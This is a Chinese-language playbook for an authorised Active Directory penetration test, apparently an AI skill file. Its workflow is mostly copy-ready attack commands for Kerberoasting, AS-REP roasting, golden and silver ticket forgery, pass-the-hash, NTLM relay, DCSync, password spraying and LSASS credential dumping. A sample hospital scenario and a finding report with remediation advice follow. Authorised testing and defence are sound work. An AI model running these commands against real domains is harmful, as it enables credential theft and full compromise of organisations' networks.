executing-active-directory-attack-simulation

# 执行 Active Directory 攻击模拟

## 适用场景

- 评估 Active Directory 域和林的安全性，对抗常见和高级攻击技术
- 利用特权关系分析，识别从低权限域用户到域管理员（Domain Admin）的攻击路径
- 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
- 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
- 评估分层管理模型和特权访问工作站（PAW）的有效性

**不适用于**：未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试（须事先协调）。

## 前置条件

- 书面授权，注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统
- 低权限域用户账户（最低起点），用于模拟真实攻击者位置
- 已加入域的测试工作站，或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络
- BloodHound 社区版或企业版，配合 SharpHound/AzureHound 采集器
- 在攻击平台上安装 Impacket 工具包、Mimikatz（或 pypykatz）、Rubeus 和 CrackMapExec
- Hashcat 或 John the Ripper，配备最新词表（rockyou.txt、SecLists），用于离线凭据破解

## 工作流程

### 步骤 1：Active Directory 侦察

从低权限域用户位置枚举 AD 环境：

- **域枚举**：使用 `Get-ADDomain` 或 `crackmapexec smb <dc_ip> -u <user> -p <pass> --domains` 识别域名、功能级别、域控制器和林信任关系
- **用户枚举**：使用 `Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet` 识别服务账户、特权账户和过期密码
- **组枚举**：使用 `net group "Domain Admins" /domain` 映射高价值组（Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators）的成员关系
- **GPO 枚举**：使用 `Get-GPO -All | Get-GPOReport -ReportType XML` 识别组策略配置，包括密码策略、审计设置和软件部署
- **信任枚举**：使用 `nltest /domain_trusts /all_trusts` 映射域间和林间信任关系，注意信任方向和传递性
- **LDAP 查询**：使用 `ldapsearch` 或 ADExplorer 搜索带有 `userAccountControl` 标志的账户，这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"

### 步骤 2：BloodHound 攻击路径分析

收集并分析 AD 关系数据，识别到达域管理员的最短路径：

- 运行 SharpHound 采集器：`SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\`，收集用户、组、会话、ACL、信任关系和 GPO 数据
- 将 JSON 输出导入 BloodHound，运行内置查询：
  - "从已拥有主体到域管理员的最短路径"
  - "查找具有 DCSync 权限的主体"
  - "查找域用户为本地管理员的计算机"
  - "到无约束委派系统的最短路径"
  - "从可 Kerberoast 用户的所有路径"
- 在 BloodHound 中将已控用户标记为"已拥有"，分析产生的攻击路径
- 识别基于 ACL 的攻击路径：对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
- 记录每条已识别的攻击路径，包含关系链和受影响对象

### 步骤 3：Kerberos 攻击

对已识别的脆弱账户执行 Kerberos 攻击：

- **Kerberoasting**：为带 SPN 的账户请求 TGS 票据：`impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes`。离线使用 `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt` 破解
- **AS-REP Roasting**：针对未启用 Kerberos 预身份验证的账户：`impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`。使用 `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt` 破解
- **银票据（Silver Ticket）**：若服务账户的 NTLM 哈希被破解，使用 `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>` 为该服务伪造 TGS 票据
- **黄金票据（Golden Ticket）**：若获取到 krbtgt 哈希（域沦陷后），伪造 TGT：`mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`
- **无约束委派（Unconstrained Delegation）滥用**：识别具有无约束委派的计算机，使用 PrinterBug 或 PetitPotam 强制域控制器认证，然后从内存中捕获域控制器的 TGT

### 步骤 4：凭据攻击与横向移动

利用收集到的凭据在域内横向移动：

- **哈希传递（Pass-the-Hash）**：`impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>`，在已控账户具有本地管理员权限的系统上执行命令
- **票据传递（Pass-the-Ticket）**：`export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass`，使用捕获或伪造的 Kerberos 票据
- **NTLM 中继（NTLM Relay）**：配置 `impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>`，强制认证以中继 NTLM 凭据进行权限提升
- **DCSync**：若获取 DCSync 权限（复制目录更改权限）：`impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm`，转储所有域密码哈希
- **密码喷洒（Password spraying）**：`crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce`，对所有账户测试一个密码以避免锁定
- **LSASS 转储**：在已控主机上，使用 `mimikatz "sekurlsa::logonpasswords"` 或 `procdump -ma lsass.exe lsass.dmp` 从 LSASS 内存中提取凭据，然后离线提取

### 步骤 5：提升至域管理员权限

串联已发现的攻击路径，从低权限用户提升至域管理员：

- 按 BloodHound 识别的最短路径，执行每个关系节点（例如：对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格）
- 若发现组策略首选项（GPP）密码，则利用之：`crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin`
- 若部署了 LAPS（本地管理员密码解决方案），则查询 LAPS 密码：`Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd`
- 使用 Certipy 滥用证书服务（AD CS）：`certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>`，查找可利用的证书模板（ESC1-ESC8）
- 记录从初始用户到域管理员的完整攻击链，包含使用的所有凭据、工具和技术

## 核心概念

| 术语 | 定义 |
|------|------|
| **Kerberoasting** | 为具有服务主体名称（SPN）的账户请求 Kerberos TGS 票据，并离线破解以恢复服务账户明文密码 |
| **AS-REP Roasting** | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应，并离线破解加密时间戳 |
| **DCSync** | 利用目录复制服务权限（DS-Replication-Get-Changes-All）从域控制器复制密码数据，模拟域控制器行为 |
| **BloodHound** | 基于图的 Active Directory 分析工具，映射特权关系，识别从任意用户到高价值目标（如域管理员）的攻击路径 |
| **无约束委派（Unconstrained Delegation）** | Kerberos 委派配置，允许服务以任意用户身份访问任意其他服务，从而捕获连接用户的 TGT |
| **哈希传递（Pass-the-Hash）** | 直接使用 NTLM 哈希而非明文密码进行身份验证，利用 Windows NTLM 认证机制 |
| **AD CS 滥用** | 利用错误配置的 Active Directory 证书服务模板请求证书，以获取提升的权限或冒充其他用户 |
| **NTLM 中继（NTLM Relay）** | 将捕获的 NTLM 认证转发给不同服务，以受害者身份进行认证，在未强制 SMB 签名时有效 |

## 工具与系统

- **BloodHound**：攻击路径分析工具，摄取 SharpHound 收集的 AD 数据，通过对象关系可视化并识别权限提升路径
- **Impacket**：网络协议交互的 Python 工具包，支持 Kerberos 攻击（GetUserSPNs、GetNPUsers）、凭据转储（secretsdump）和远程执行（psexec、wmiexec）
- **Mimikatz**：后渗透工具，用于从 Windows 内存（LSASS 进程）中提取明文凭据、NTLM 哈希和 Kerberos 票据
- **CrackMapExec**：面向 Active Directory 环境的多协议攻击工具，支持 SMB、LDAP、WinRM 和 MSSQL，内置密码喷洒和枚举模块
- **Certipy**：用于枚举和利用 Active Directory 证书服务（AD CS）错误配置的 Python 工具

## 常见场景

### 场景：针对医疗机构的域沦陷评估

**场景背景**：某医院网络拥有单个 Active Directory 林，包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始，目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。

**方法**：
1. 运行 SharpHound 收集 AD 关系数据并导入 BloodHound
2. BloodHound 揭示一条路径：已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话
3. Kerberoast SVC-SQL，使用 hashcat 在 12 分钟内破解弱密码（Summer2023!）
4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
6. 执行 DCSync 转储所有域哈希，验证域沦陷
7. 报告完整攻击链及修复建议：为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理

**常见陷阱**：
- 在业务高峰期使用嘈杂的 SharpHound 收集方法，通过大量 LDAP 查询触发 SOC 告警
- 未先检查域锁定策略就进行密码喷洒，导致数百个账户被锁定
- 忽略 AD CS 漏洞测试，而这通常是到达域管理员最快的路径
- 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户

## 输出格式

```
## 发现：服务账户易受 Kerberoasting 攻击且使用弱密码

**ID**: AD-002
**严重性**: 严重（CVSS 9.1）
**受影响对象**: SVC-SQL@corp.example.com（服务账户）
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting

**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称（MSSQLSvc/db-server-01.corp.example.com:1433），
使用弱密码，hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限，测试时该服务器存在活跃的域管理员会话。

**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt（12 分钟破解: Summer2023!）
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希

**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。

**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户（gMSA），自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密，禁用 RC4（DES）加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组，防止凭据缓存
6. 部署 Microsoft Defender for Identity，检测 Kerberoasting 和 DCSync 攻击
```